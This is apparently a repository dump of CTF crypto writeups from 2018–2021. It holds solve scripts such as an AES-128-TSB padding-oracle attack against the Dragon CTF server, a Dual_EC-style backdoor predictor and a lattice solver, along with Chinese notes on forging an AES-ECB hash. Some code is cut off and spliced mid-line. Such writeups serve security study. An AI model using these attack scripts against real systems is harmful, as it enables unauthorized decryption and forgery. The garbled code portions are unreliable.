├── 2018 ├── 2018_11_27_bctf │ ├── cry1.py │ └── cry2.sage ├── 2018_hacklu_ctf │ └── README.md ├── 2018_huwangbei_qual │ └── README.md ├── 2018_reply_ctf │ └── README.md ├── 2018_xnuca_qual │ └── readme.md ├── 2018_高校管理运维赛 │ ├── 1542413779483.png │ ├── 1542413825286.png │ ├── 1542413838532.png │ ├── 1542413860860.png │ ├── 1542413869611.png │ ├── 1542413874361.png │ ├── 1542414134202.png │ ├── 1542414203153.png │ ├── 1542414232518.png │ ├── 1542414239994.png │ └── readme.md ├── Teaser_Dragon_CTF_2018 │ ├── Note Sep 29, 2018.pdf │ ├── README.md │ ├── Screenshot from 2018-09-30 21-53-20.png │ ├── Screenshot from 2018-09-30 21-53-34.png │ ├── server.py │ ├── step1.py │ ├── step2_1.py │ └── step2_2.py ├── isitdtu_2018 │ ├── README.md │ └── ecc │ │ ├── ecc.py │ │ └── mathutil.py ├── isitdtu_final_2018 │ └── readme.md ├── sectctf2018 │ ├── gsh-solve.nb │ └── readme.md ├── tjctf_2018 │ ├── README.md │ ├── analysis_rc4.py │ ├── down.py │ └── out.txt ├── 网鼎杯final_tasks │ ├── SM3.py │ ├── SM3.pyc │ ├── SM4.py │ ├── SM4.pyc │ ├── __init__.py │ ├── brute.py │ ├── common.py │ ├── common.pyc │ ├── crypto01 │ ├── crypto02 │ ├── crypto03 │ ├── readme.md │ ├── u-x03 │ │ ├── pwn │ │ └── pwn.i64 │ ├── u-x04 │ │ └── pwn │ ├── u-x12_web │ │ └── www.tar │ └── x02 │ │ └── pwn ├── 网鼎杯online_2018 │ └── README.md └── 网鼎杯第二场online_2018 │ ├── README.md │ ├── shop.py │ ├── solve.py │ └── solve_N.py ├── 2019 ├── ASISfinal_2019 │ └── README.md ├── D3CTF_2019 │ └── README.md ├── hacklu_2019 │ ├── lverify_solve.py │ └── npp_web.md ├── hitcon_2019 │ └── lostmoduleagain_solve.py ├── xnuca_2019_final │ └── solve_cry2.py └── 高校网络信息安全管理运维挑战赛_2019 │ └── readme.md ├── 2020 ├── Bytectf │ └── apake_solve.py ├── De1CTF │ ├── solve_ecdh.sage │ ├── solve_homomo.sage │ └── solve_rsa.sage ├── HITCTF │ └── crypto_dgk │ │ ├── README.md │ │ ├── chall │ │ ├── encs.txt │ │ ├── hint.txt │ │ ├── public.txt │ │ └── task.sage │ │ └── src │ │ ├── secret.py │ │ └── solve.sage ├── HackTM │ └── readme.md ├── N1CTF │ ├── curve_solve.sage │ └── flagbot_solve.sage ├── X-NUCA-QUAL │ ├── diamond_solve.sage │ └── weird_solve.sage ├── X-NUCA │ ├── crypto2.sage │ ├── down_jacket.sage │ ├── down_jacket.tar.gz │ ├── leakage.tar.gz │ ├── lemon_sl.py │ └── lemonade ├── 网鼎杯 │ ├── solve_wa.sage │ └── 未完成的书.flag └── 西湖论剑 │ └── README.md ├── 2021 ├── rwctf │ └── old_curve_solve.ipynb └── 虎符 │ ├── cubic_solve.sage │ └── rsa_solve.sage └── README.md /2018/2018_11_27_bctf/cry1.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from pwn import * 4 | 5 | context.log_level = "debug" 6 | 7 | base = 1<<120 8 | io = remote("39.96.8.114",9999) 9 | for i in range(10): 10 | io.recvuntil("Please input your number to guess the coeff: ") 11 | io.sendline(str(base)) 12 | io.recvuntil("This is the sum: ") 13 | sum = int(io.recvuntil("\n").strip()) 14 | print sum 15 | xx = [] 16 | while sum/base!=0: 17 | xx.append(sum%base) 18 | sum=sum/base 19 | xx.append(sum) 20 | io.recvuntil("It is your time to guess the coeff!") 21 | data = " ".join(str(coff) for coff in xx[::-1]) 22 | io.sendline(data) 23 | io.recv() 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /2018/2018_11_27_bctf/cry2.sage: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sage -python 2 | # coding=utf-8 3 | 4 | 5 | p = 1461501637330902918203684832716283019655932542983L 6 | loop = 22 7 | k = 10 8 | bound = p >> 11 9 | 10 | t=[811819025124422484685143460281186846620297533106L, 547093277704895447339752344964242888250055763321L, 430526933556024114961557239516573900902655574422L, 1006680741575199013445186289067967314559352692825L, 848015579267598585240617365598026212778255798346L, 330810965582591024032755663621774697551962262541L, 1367370952566927091260862844139605663999580094745L, 199736739753530678226800595063898241085630805706L, 1356363622891251904975989810409566565538729061438L, 536666267613115262303850324840790484947826835308L, 1037802159521961395297760798947570598394589658254L, 534673399426162833527107172763437455766473145114L, 118152849686553912713944903238949146778685349491L, 828462785830811642362139124501409194048678985340L, 319172019166530549632988624493566422741715158869L, 891930931298271654478090657846330155623827531216L, 1134030793887489204775231256699853863455516066182L, 958261072241504004891532447693102653862289843882L, 1407385683445432581222896254970383535866321825090L, 267111530048384149831002917300863032761339120990L, 95769396306249216222834846427880849097656454407L, 1327892721785293232811799146982045385397120491747L] 11 | u=[1147671902604962471691099646299217658893051424449L, 697508779447938371852317986819987571936258068637L, 449129806706245508920930718929409205127760425513L, 1042271541394312886243521563451702798433908204660L, 1163294880811614464446034003374820052229929073354L, 1460744143777201984668203132336042988608413823816L, 1095372248449723252372110948511748310110106683586L, 36903512670056674401795841880081713005543623717L, 834748225341139425302793440965612817123719957273L, 768967631654913021540072416676790505534984520252L, 101695293225371059466707296104305483207528828096L, 57321913262190497907459940590716840280302842554L, 1181801777777647241442573336573552293756264968952L, 1237385649217668488674481618388139920642578227197L, 11286979543828444034268890866039221086431276065L, 510665111281402365259418790895981647821427569476L, 719089165032042668587900435048059578929911997095L, 246807817293427928561967375105350290566984779155L, 1315919912121289113484878813618199691004306117292L, 393490327688259317008025959635389722439191664503L, 498635294503679150534159673592909649479241291799L, 112266502474315610197543960319367408475559743683L] 12 | 13 | t = map(Zmod(p),t) 14 | u = map(Zmod(p),u) 15 | 16 | m = [] 17 | for i in range(loop): 18 | xx = [0] * (loop+2) 19 | xx[i] = p 20 | m.append(xx) 21 | m.append(t+[1/(2**(k+1)), 0]) 22 | m.append(u+[0, bound]) 23 | ma = matrix(QQ, m) 24 | mb = ma.LLL() 25 | alpha = -mb[1][-2] * (2**(k+1)) 26 | print map(Zmod(p),[int(alpha)])[0] -------------------------------------------------------------------------------- /2018/2018_高校管理运维赛/1542413779483.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/2018_高校管理运维赛/1542413779483.png -------------------------------------------------------------------------------- /2018/2018_高校管理运维赛/1542413825286.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/2018_高校管理运维赛/1542413825286.png -------------------------------------------------------------------------------- /2018/2018_高校管理运维赛/1542413838532.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/2018_高校管理运维赛/1542413838532.png -------------------------------------------------------------------------------- /2018/2018_高校管理运维赛/1542413860860.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/2018_高校管理运维赛/1542413860860.png -------------------------------------------------------------------------------- /2018/2018_高校管理运维赛/1542413869611.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/2018_高校管理运维赛/1542413869611.png -------------------------------------------------------------------------------- /2018/2018_高校管理运维赛/1542413874361.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/2018_高校管理运维赛/1542413874361.png -------------------------------------------------------------------------------- /2018/2018_高校管理运维赛/1542414134202.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/2018_高校管理运维赛/1542414134202.png -------------------------------------------------------------------------------- /2018/2018_高校管理运维赛/1542414203153.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/2018_高校管理运维赛/1542414203153.png -------------------------------------------------------------------------------- /2018/2018_高校管理运维赛/1542414232518.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/2018_高校管理运维赛/1542414232518.png -------------------------------------------------------------------------------- /2018/2018_高校管理运维赛/1542414239994.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/2018_高校管理运维赛/1542414239994.png -------------------------------------------------------------------------------- /2018/Teaser_Dragon_CTF_2018/Note Sep 29, 2018.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/Teaser_Dragon_CTF_2018/Note Sep 29, 2018.pdf -------------------------------------------------------------------------------- /2018/Teaser_Dragon_CTF_2018/README.md: -------------------------------------------------------------------------------- 1 | ## crypto AES-128-TSB writeup 2 | 3 | ### 题目 4 | ```plain 5 | AES-128-TSB (Cryptography, 219) 6 | difficulty: easy (46 solvers) 7 | 8 | Haven't you ever thought that GCM mode is overcomplicated and there must be a simpler way to achieve Authenticated Encryption? Here it is! 9 | 10 | Server: aes-128-tsb.hackable.software 1337 11 | 12 | server.py 13 | ``` 14 | server.py 内容: 15 | 16 | ```python 17 | #!/usr/bin/env python2 18 | import SocketServer 19 | import socket 20 | from Crypto.Cipher import AES 21 | from Crypto.Random import get_random_bytes 22 | from struct import pack, unpack 23 | 24 | from secret import AES_KEY, FLAG 25 | 26 | 27 | class CryptoError(Exception): 28 | pass 29 | 30 | 31 | def split_by(data, step): 32 | return [data[i : i+step] for i in xrange(0, len(data), step)] 33 | 34 | 35 | def xor(a, b): 36 | assert len(a) == len(b) 37 | return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)]) 38 | 39 | 40 | def pad(msg): 41 | byte = 16 - len(msg) % 16 42 | return msg + chr(byte) * byte 43 | 44 | 45 | def unpad(msg): 46 | if not msg: 47 | return '' 48 | return msg[:-ord(msg[-1])] 49 | 50 | 51 | def tsb_encrypt(aes, msg): 52 | msg = pad(msg) 53 | iv = get_random_bytes(16) 54 | prev_pt = iv 55 | prev_ct = iv 56 | ct = '' 57 | for block in split_by(msg, 16) + [iv]: 58 | ct_block = xor(block, prev_pt) 59 | ct_block = aes.encrypt(ct_block) 60 | ct_block = xor(ct_block, prev_ct) 61 | ct += ct_block 62 | prev_pt = block 63 | prev_ct = ct_block 64 | return iv + ct 65 | 66 | 67 | def tsb_decrypt(aes, msg): 68 | iv, msg = msg[:16], msg[16:] 69 | prev_pt = iv 70 | prev_ct = iv 71 | pt = '' 72 | for block in split_by(msg, 16): 73 | pt_block = xor(block, prev_ct) 74 | pt_block = aes.decrypt(pt_block) 75 | pt_block = xor(pt_block, prev_pt) 76 | pt += pt_block 77 | prev_pt = pt_block 78 | prev_ct = block 79 | pt, mac = pt[:-16], pt[-16:] 80 | if mac != iv: 81 | raise CryptoError() 82 | return unpad(pt) 83 | 84 | def send_binary(s, msg): 85 | s.sendall(pack(' 0: 94 | data = s.recv(length) 95 | if data == '': 96 | raise EOFError() 97 | buf += data 98 | length -= len(data) 99 | return buf 100 | 101 | def recv_binary(s): 102 | size = recv_exact(s, 4) 103 | size = unpack('\xbfRF'J\xa0\xc6\xec\x85\xda\xb5#,?`\xbaJ:\x00}\xd9\xe8\xa9\x12\xb4dF\xf8\xa8g\x82I\x99\xa3") 332 | 333 | block = split_by(data,16) 334 | modify_bk = split_by(data,16) 335 | print repr("".join(str(i) for i in block)) 336 | 337 | # flag="DrgnS{" 338 | true_flag = "DrgnS{Thank_god_no_one_deployed_this_on_producti" 339 | flag_array = bytearray(true_flag) 340 | flag_copy = bytearray(true_flag) 341 | for loop in range(48,51): 342 | print "working on \033[31m%s\033[0m"%(str(loop)) 343 | for byte in range(126,31,-1): 344 | # stdout.write("guessing %d"%(byte)+"\r\n") 345 | # stdout.write("\r") 346 | # stdout.flush() 347 | block = split_by(data,16) 348 | modify_bk = split_by(data,16) 349 | for index in range(len(modify_bk)): 350 | if index==0: 351 | modify_bk[index][-1] = chr(pre_padding^(63-loop)^block[index][-1]) 352 | modify_bk[index][loop%16] = chr(flag_array[loop%16]^byte^block[index][loop%16]) 353 | else: 354 | modify_bk[index][-1]=chr(block[index-1][-1]^block[index][-1]^modify_bk[index-1][-1]) 355 | modify_bk[index][loop%16]=chr(flag_array[loop%16]^byte^block[index][loop%16]) 356 | modify = "".join(str(i) for i in modify_bk) 357 | # print flag_copy 358 | flag_copy[loop%16]=byte 359 | flag_copy[16+loop%16]=byte^flag_array[16+loop%16]^flag_array[loop%16] 360 | flag_copy[32+loop%16]=byte^flag_array[32+loop%16]^flag_array[loop%16] 361 | flag_copy[15] = ord("_")^(63-loop)^13 362 | flag_copy[31] = ord("_")^(63-loop)^13 363 | flag_copy[47] = ord("i")^(63-loop)^13 364 | # print flag_copy 365 | once(p32(loop+1),str(flag_copy)+true_flag[loop%16],p32(size),modify) 366 | check_size = unpack(' 382 | [+]flag is 'DrgnS{Thank_god_no_one_deployed_this_on_productio' 383 | working on 49 384 | 385 | [+]flag is 'DrgnS{Thank_god_no_one_deployed_this_on_production' 386 | working on 50 387 | 388 | [+]flag is 'DrgnS{Thank_god_no_one_deployed_this_on_production}' 389 | DrgnS{Thank_god_no_one_deployed_this_on_production} 390 | ``` 391 | setp2_2.py (flag位置是16byte整数倍时) 392 | ```python 393 | #!/usr/bin/env python2 394 | #flag format DrgnS{...} 395 | import SocketServer 396 | import socket 397 | from pwn import * 398 | from Crypto.Cipher import AES 399 | from Crypto.Random import get_random_bytes 400 | from struct import pack, unpack 401 | from sys import argv, stdout 402 | import time 403 | import copy 404 | 405 | io = remote("aes-128-tsb.hackable.software",1337) 406 | # io = remote("127.0.0.1",1337) 407 | # context.log_level = "debug" 408 | 409 | #useful function 410 | def split_by(data, step): 411 | return [data[i : i+step] for i in xrange(0, len(data), step)] 412 | 413 | 414 | def xor(a, b): 415 | assert len(a) == len(b) 416 | return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)]) 417 | 418 | 419 | def pad(msg): 420 | byte = 16 - len(msg) % 16 421 | return msg + chr(byte) * byte 422 | 423 | 424 | def unpad(msg): 425 | if not msg: 426 | return '' 427 | return msg[:-ord(msg[-1])] 428 | 429 | 430 | def once(size_a,a,size_b,b): 431 | io.send(size_a) 432 | io.send(a) 433 | io.send(size_b) 434 | io.send(b) 435 | target = 'gimme_flag' 436 | pre_padding = 13 437 | mac = '\xdb\x1bC\xa0\x9c\x90\xda2\x10\xb0$^\xa6\xf2\xdd\x9e\xbd\xe1:\xca\xb9Wy\xf8\x13!C69\xf2>\xaf\xc7\x8ba?U\x13/ZS\xb1\x00S\xc0\xe6\xc9\xfe\x93X\x92\xa1v\x93\xcd\x90\x0e\xce&7\x82\xe7O\xaeE_.B7\xb7\xc3%1F\x82i\x96\xcd\xe6\x9a\xdf\x18=9\xa3\x12\x07dU\x06\xb4\xc6\xb8\xe4\xb6\xce' 438 | # print repr(mac) 439 | # length = len(mac) 440 | # print length 441 | # mac = bytearray(mac) 442 | # mac_block = split_by(mac,16) 443 | # after_mac = split_by(mac,16) 444 | # for index in range(len(mac_block)): 445 | # if index==0: 446 | # after_mac[index][-1] = chr(pre_padding^(63-9)^mac_block[index][-1]) 447 | # else: 448 | # after_mac[index][-1]=chr(mac_block[index-1][-1]^mac_block[index][-1]^after_mac[index-1][-1]) 449 | # fake_mac = "".join(str(i) for i in after_mac) 450 | fake_mac = '"\xc7\xb6\x18|\xce3\x88@jV\x9fy\xc4\xae\xb6P\x91\xbe\xc2\xc2v2\x128\r\x08\xb0\xc0\xebLq\xc62\xe7\xccVg/\x8e\x1a\xe5\xd9\xc2F\xa7\xd3\x12`\xca\xc7\xd8\xec\x89A-\x861h1\xf1E\x02\xb1q\x1b\xa9Ds!\xcc\x8c\xdb\x9d9#\xd0\xdc\xe6C\x88\xf40\xfd\x14\xe7\x05\xb1!bnYq\x86\xcb\x88' 451 | print repr(fake_mac) 452 | once(p32(len(target)),target,p32(len(fake_mac)),fake_mac) 453 | size = unpack('\xbfRF'J\xa0\xc6\xec\x85\xda\xb5#,?`\xbaJ:\x00}\xd9\xe8\xa9\x12\xb4dF\xf8\xa8g\x82I\x99\xa3") 460 | 461 | block = split_by(data,16) 462 | modify_bk = split_by(data,16) 463 | print repr("".join(str(i) for i in block)) 464 | 465 | # flag="DrgnS{" 466 | true_flag = "DrgnS{Thank_god_no_one_deployed_this_on_product" 467 | flag_array = bytearray(true_flag) 468 | flag_copy = bytearray(true_flag) 469 | for loop in range(47,51): 470 | print "working on \033[31m%s\033[0m"%(str(loop)) 471 | for byte in range(126,31,-1): 472 | # stdout.write("guessing %d"%(byte)+"\r\n") 473 | # stdout.write("\r") 474 | # stdout.flush() 475 | block = split_by(data,16) 476 | modify_bk = split_by(data,16) 477 | for index in range(len(modify_bk)): 478 | if index==0: 479 | modify_bk[index][-1] = chr(pre_padding^(63-loop)^block[index][-1]) 480 | # modify_bk[index][loop%16] = chr(flag_array[loop%16]^byte^block[index][loop%16]) 481 | else: 482 | modify_bk[index][-1]=chr(block[index-1][-1]^block[index][-1]^modify_bk[index-1][-1]) 483 | # modify_bk[index][loop%16]=chr(flag_array[loop%16]^byte^block[index][loop%16]) 484 | modify = "".join(str(i) for i in modify_bk) 485 | # print flag_copy 486 | # flag_copy[loop%16]=byte 487 | # flag_copy[16+loop%16]=byte^flag_array[16+loop%16]^flag_array[loop%16] 488 | # flag_copy[32+loop%16]=byte^flag_array[32+loop%16]^flag_array[loop%16] 489 | flag_copy[15] = ord("_")^(63-loop)^13 490 | flag_copy[31] = ord("_")^(63-loop)^13 491 | # print flag_copy 492 | once(p32(loop+1),str(flag_copy)+chr(byte^(63-loop)^13),p32(size),modify) 493 | check_size = unpack(' 0: 78 | data = s.recv(length) 79 | if data == '': 80 | raise EOFError() 81 | buf += data 82 | length -= len(data) 83 | return buf 84 | 85 | def recv_binary(s): 86 | size = recv_exact(s, 4) 87 | size = unpack('\xbfRF'J\xa0\xc6\xec\x85\xda\xb5#,?`\xbaJ:\x00}\xd9\xe8\xa9\x12\xb4dF\xf8\xa8g\x82I\x99\xa3") 68 | 69 | block = split_by(data,16) 70 | modify_bk = split_by(data,16) 71 | print repr("".join(str(i) for i in block)) 72 | 73 | # flag="DrgnS{" 74 | true_flag = "DrgnS{Thank_god_no_one_deployed_this_on_producti" 75 | flag_array = bytearray(true_flag) 76 | flag_copy = bytearray(true_flag) 77 | for loop in range(48,51): 78 | print "working on \033[31m%s\033[0m"%(str(loop)) 79 | for byte in range(126,31,-1): 80 | # stdout.write("guessing %d"%(byte)+"\r\n") 81 | # stdout.write("\r") 82 | # stdout.flush() 83 | block = split_by(data,16) 84 | modify_bk = split_by(data,16) 85 | for index in range(len(modify_bk)): 86 | if index==0: 87 | modify_bk[index][-1] = chr(pre_padding^(63-loop)^block[index][-1]) 88 | modify_bk[index][loop%16] = chr(flag_array[loop%16]^byte^block[index][loop%16]) 89 | else: 90 | modify_bk[index][-1]=chr(block[index-1][-1]^block[index][-1]^modify_bk[index-1][-1]) 91 | modify_bk[index][loop%16]=chr(flag_array[loop%16]^byte^block[index][loop%16]) 92 | modify = "".join(str(i) for i in modify_bk) 93 | # print flag_copy 94 | flag_copy[loop%16]=byte 95 | flag_copy[16+loop%16]=byte^flag_array[16+loop%16]^flag_array[loop%16] 96 | flag_copy[32+loop%16]=byte^flag_array[32+loop%16]^flag_array[loop%16] 97 | flag_copy[15] = ord("_")^(63-loop)^13 98 | flag_copy[31] = ord("_")^(63-loop)^13 99 | flag_copy[47] = ord("i")^(63-loop)^13 100 | # print flag_copy 101 | once(p32(loop+1),str(flag_copy)+true_flag[loop%16],p32(size),modify) 102 | check_size = unpack('\xbfRF'J\xa0\xc6\xec\x85\xda\xb5#,?`\xbaJ:\x00}\xd9\xe8\xa9\x12\xb4dF\xf8\xa8g\x82I\x99\xa3") 68 | 69 | block = split_by(data,16) 70 | modify_bk = split_by(data,16) 71 | print repr("".join(str(i) for i in block)) 72 | 73 | # flag="DrgnS{" 74 | true_flag = "DrgnS{Thank_god_no_one_deployed_this_on_product" 75 | flag_array = bytearray(true_flag) 76 | flag_copy = bytearray(true_flag) 77 | for loop in range(47,51): 78 | print "working on \033[31m%s\033[0m"%(str(loop)) 79 | for byte in range(126,31,-1): 80 | # stdout.write("guessing %d"%(byte)+"\r\n") 81 | # stdout.write("\r") 82 | # stdout.flush() 83 | block = split_by(data,16) 84 | modify_bk = split_by(data,16) 85 | for index in range(len(modify_bk)): 86 | if index==0: 87 | modify_bk[index][-1] = chr(pre_padding^(63-loop)^block[index][-1]) 88 | # modify_bk[index][loop%16] = chr(flag_array[loop%16]^byte^block[index][loop%16]) 89 | else: 90 | modify_bk[index][-1]=chr(block[index-1][-1]^block[index][-1]^modify_bk[index-1][-1]) 91 | # modify_bk[index][loop%16]=chr(flag_array[loop%16]^byte^block[index][loop%16]) 92 | modify = "".join(str(i) for i in modify_bk) 93 | # print flag_copy 94 | # flag_copy[loop%16]=byte 95 | # flag_copy[16+loop%16]=byte^flag_array[16+loop%16]^flag_array[loop%16] 96 | # flag_copy[32+loop%16]=byte^flag_array[32+loop%16]^flag_array[loop%16] 97 | flag_copy[15] = ord("_")^(63-loop)^13 98 | flag_copy[31] = ord("_")^(63-loop)^13 99 | # print flag_copy 100 | once(p32(loop+1),str(flag_copy)+chr(byte^(63-loop)^13),p32(size),modify) 101 | check_size = unpack('> (8 * 2)) 30 | on_curve, y = find_point_on_p256(guess) 31 | 32 | if on_curve: 33 | # use the backdoor to guess the next 30 bytes 34 | # point = Point(p256.curve, guess, y) 35 | point = Point(guess, y, curve=P256) 36 | s = (d * point).x 37 | r = (s * Q).x & (2**(8 * 30) - 1) 38 | 39 | if VERBOSE: 40 | stdout.write('Checking: %x (%x vs %x) \r' % 41 | (high_bits, checkbits, (r >> (8 * 28)))) 42 | stdout.flush() 43 | 44 | # check the first 2 bytes against the observed bytes 45 | if checkbits == (r >> (8 * 28)): 46 | if VERBOSE: 47 | stdout.write('\r\n') 48 | stdout.flush() 49 | 50 | # if we have a match then we know the next 28 bits 51 | return r & (2**(8 * 28) - 1) 52 | 53 | return 0 54 | 55 | class gen_ECC(): 56 | def __init__(self, seed, P, Q): 57 | self.seed = seed 58 | self.P = P 59 | self.Q = Q 60 | 61 | def genbits(self): 62 | t = self.seed 63 | s = (t * self.P).x 64 | self.seed = s 65 | r = (s * self.Q).x 66 | return r & (2**(8 * 30) - 1) # return 30 bytes 67 | 68 | def main(): 69 | # P, Q, d = gen_point() 70 | P = Point(0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5, curve=P256) 71 | Q = Point(0x43595b13c9dc2e7e6fdc09175a5527c4973778d96a9e602fc5bf35d7f8f43424, 0xda93baf3284401b5426dea5354e63738817ff4938f9532157ccff8535f6d1076, curve=P256) 72 | d = 0xe7366b3509adb3de385d04712f8556c1cca77ee91d7e7df1fcfbd902c127d744 73 | 74 | e = gen_ECC(20639247711360085, P, Q) 75 | focus = 0x56929a811a2ac18732371d1615c937d92c61204481c746c9f836febf862b6096 76 | predicted = gen_prediction(focus, Q, d) 77 | print "[+]predicted:",hex(predicted),predicted 78 | # tmp = e.genbits() 79 | # secret = e.genbits() 80 | # print secret 81 | # _flag = secret & (2**(8*28) - 1) 82 | # # flag is ISITDTU{15286070551713753818008772789796636300551465225304565454416856095491} with _flag is int 83 | # focus = (tmp << (2 * 8)) | (secret >> (28 * 8)) 84 | # print focus 85 | # 0x56929a811a2ac18732371d1615c937d92c61204481c746c9f836febf862b6096 86 | 87 | 88 | if __name__ == '__main__': 89 | main() 90 | -------------------------------------------------------------------------------- /2018/isitdtu_2018/ecc/mathutil.py: -------------------------------------------------------------------------------- 1 | def mod_inv(a, m): 2 | # only works if m is prime (due to Euler's Theorem) 3 | return pow(a, m-2, m) 4 | 5 | 6 | def p256_mod_sqrt(c): 7 | # only works for field P256 is over 8 | p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff 9 | t1 = pow(c, 2, p) 10 | t1 = (t1 * c) % p 11 | t2 = pow(t1, 2**2, p) 12 | t2 = (t2 * t1) % p 13 | t3 = pow(t2, 2**4, p) 14 | t3 = (t3 * t2) % p 15 | t4 = pow(t3, 2**8, p) 16 | t4 = (t4 * t3) % p 17 | r = pow(t4, 2**16, p) 18 | r = (r * t4) % p 19 | r = pow(r, 2**32, p) 20 | r = (r * c) % p 21 | r = pow(r, 2**96, p) 22 | r = (r * c) % p 23 | return pow(r, 2**94, p) 24 | -------------------------------------------------------------------------------- /2018/sectctf2018/readme.md: -------------------------------------------------------------------------------- 1 | ### SECT CTF crypto Gsh 思路分享 2 | @(思路)[AES-ECB][hash forge][高斯消元] 3 | > 题目描述: 4 | > About last night... 5 | > Service: nc 178.128.171.133 3333 | nc crypto.sect.ctf.rocks 3333 6 | > Download: gsh.tar.gz 7 | > Author: grocid 8 | 9 | -------------- 10 | 这道题是[grocid](https://grocid.net/)出的,一直看着大佬的分享,在这谢谢大佬。 11 | **reddit.txt** 12 | ```plain 13 | Submitted 2 months ago by [deleted] to /r/infoleaks 14 | 15 | I tried to login... was able to get a shell, but as a restricted user. 16 | It seems horrendously badly configured. Which is what I would've expected. 17 | Fortunately, I found a source code from an old unencrypted backup drive... 18 | this one's particularly interesting... 19 | 20 | class AESHash(object): 21 | 22 | def __init__(self, key): 23 | self.bs = 16 24 | self.key = hashlib.sha256(key.encode()).digest() 25 | 26 | def _pkcs7pad(self, s, blksize=16): 27 | missing = abs(len(s) - (len(s) / blksize + 1) * blksize) 28 | return s + (chr(missing) * missing) 29 | 30 | def digest(self, user, password): 31 | cipher = AES.new(self.key, AES.MODE_ECB) 32 | q = 0 33 | data = self._pkcs7pad(user + password) 34 | for i in xrange(0, len(data), self.bs): 35 | block = data[i:i + self.bs] 36 | q ^= int(cipher.encrypt(block).encode("hex"), 0x10) 37 | return q 38 | 39 | Their authentication mechanism uses some weird keyed AES-based MAC -- I've 40 | never seen anything like it before. I'd say it's insecure, but I don't know 41 | how to exploit it. Also, it's written in Python. Really? 42 | 43 | Since the HMAC combines credentials in the following way... it's kind of 44 | moot to give it a try. I've learnt from one-oh-one that h(message | key) is 45 | secure... I think. Motherf... I'll give up; it's late and I need to go to 46 | sleep... over and out. For now. 47 | 48 | 49 | -- JD 50 | The revolution will not be televised. 51 | ``` 52 | #### 信息搜集 53 | > reddit上找了一通,没线索。那nc过去看看: 54 | ```bash 55 | root@bin:/mnt/hgfs/CTF# nc 178.128.171.133 3333 56 | 57 | Login (leave empty to create) 58 | user: 59 | Creating new user 60 | user: 2 61 | password: 62 | IO error: cannot write 2:b5bbe950b1f52310ec0f986f4aeacbbb to /etc/shadow. 63 | Logged in as 2 64 | $ ls 65 | -rw-r--r-- 1 admin staff 27 Sep 5 19:31 flag.txt 66 | -rw------- 1 admin staff 27 Sep 5 19:31 invoice.xls 67 | $ cat flag.txt 68 | -[--->+<]>--.[->+++++++<]>.--.>-[--->+<]>-.--[-->+++<]>.-------.------------.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.[--->+<]>---.>-[----->+<]>.+.++[->++<]>.-------------.+++++++.++++++.-----------.++++++.--------.+[-->+<]>+.-[->++<]>-.---------------.[--->+<]>++.--[->+++++<]>.[----->+<]>---.----.++++++++++.>-[----->+<]>.>--[-->+++<]>. 69 | $ cat /etc/shadow 70 | admin:8f643bbafa959617b12b591f3145e5c0 71 | ``` 72 | > [brainfuck](https://copy.sh/brainfuck/)得到flag:SECT{th1s_1s_r34l_flag_1_Pr0mis3}.喵喵喵?提交是fake flag。 73 | #### 分析 74 | ```python 75 | class AESHash(object): 76 | 77 | def __init__(self, key): 78 | self.bs = 16 79 | self.key = hashlib.sha256(key.encode()).digest() 80 | 81 | def _pkcs7pad(self, s, blksize=16): 82 | missing = abs(len(s) - (len(s) / blksize + 1) * blksize) 83 | return s + (chr(missing) * missing) 84 | 85 | def digest(self, user, password): 86 | cipher = AES.new(self.key, AES.MODE_ECB) 87 | q = 0 88 | data = self._pkcs7pad(user + password) 89 | for i in xrange(0, len(data), self.bs): 90 | block = data[i:i + self.bs] 91 | q ^= int(cipher.encrypt(block).encode("hex"), 0x10) 92 | return q 93 | ``` 94 | 题目提供了加密的oracle,可以任意_pkcs7pad(username+password)的AES-ECB hash,我们的目的是伪造出hash为8f643bbafa959617b12b591f3145e5c0的一串字符。 95 | **密码是弱密码?** 96 | 要不用rockyou.txt爆破试试? 97 | 爆破了一段时间,主办方检测到了,,提示:**不必用admin登陆** 98 | AES-ECB, 我们能得到任意对plaintext-ciphertext.然后恢复出16byte的Key,目前计算能力还不可能,[参考](https://crypto.stackexchange.com/questions/30251/finding-key-of-aes-in-ecb-mode) 99 | 那接着想... 100 | **q ^= int(cipher.encrypt(block).encode("hex"), 0x10)** 101 | 我们可以得到一定长度(>=128)的list,则我们需要的**8f643bbafa959617b12b591f3145e5c0**一定在这个list的sublist的xor里,子串的空间远大于目标大小。 102 | ```python 103 | In [15]: a = 0 104 | 105 | In 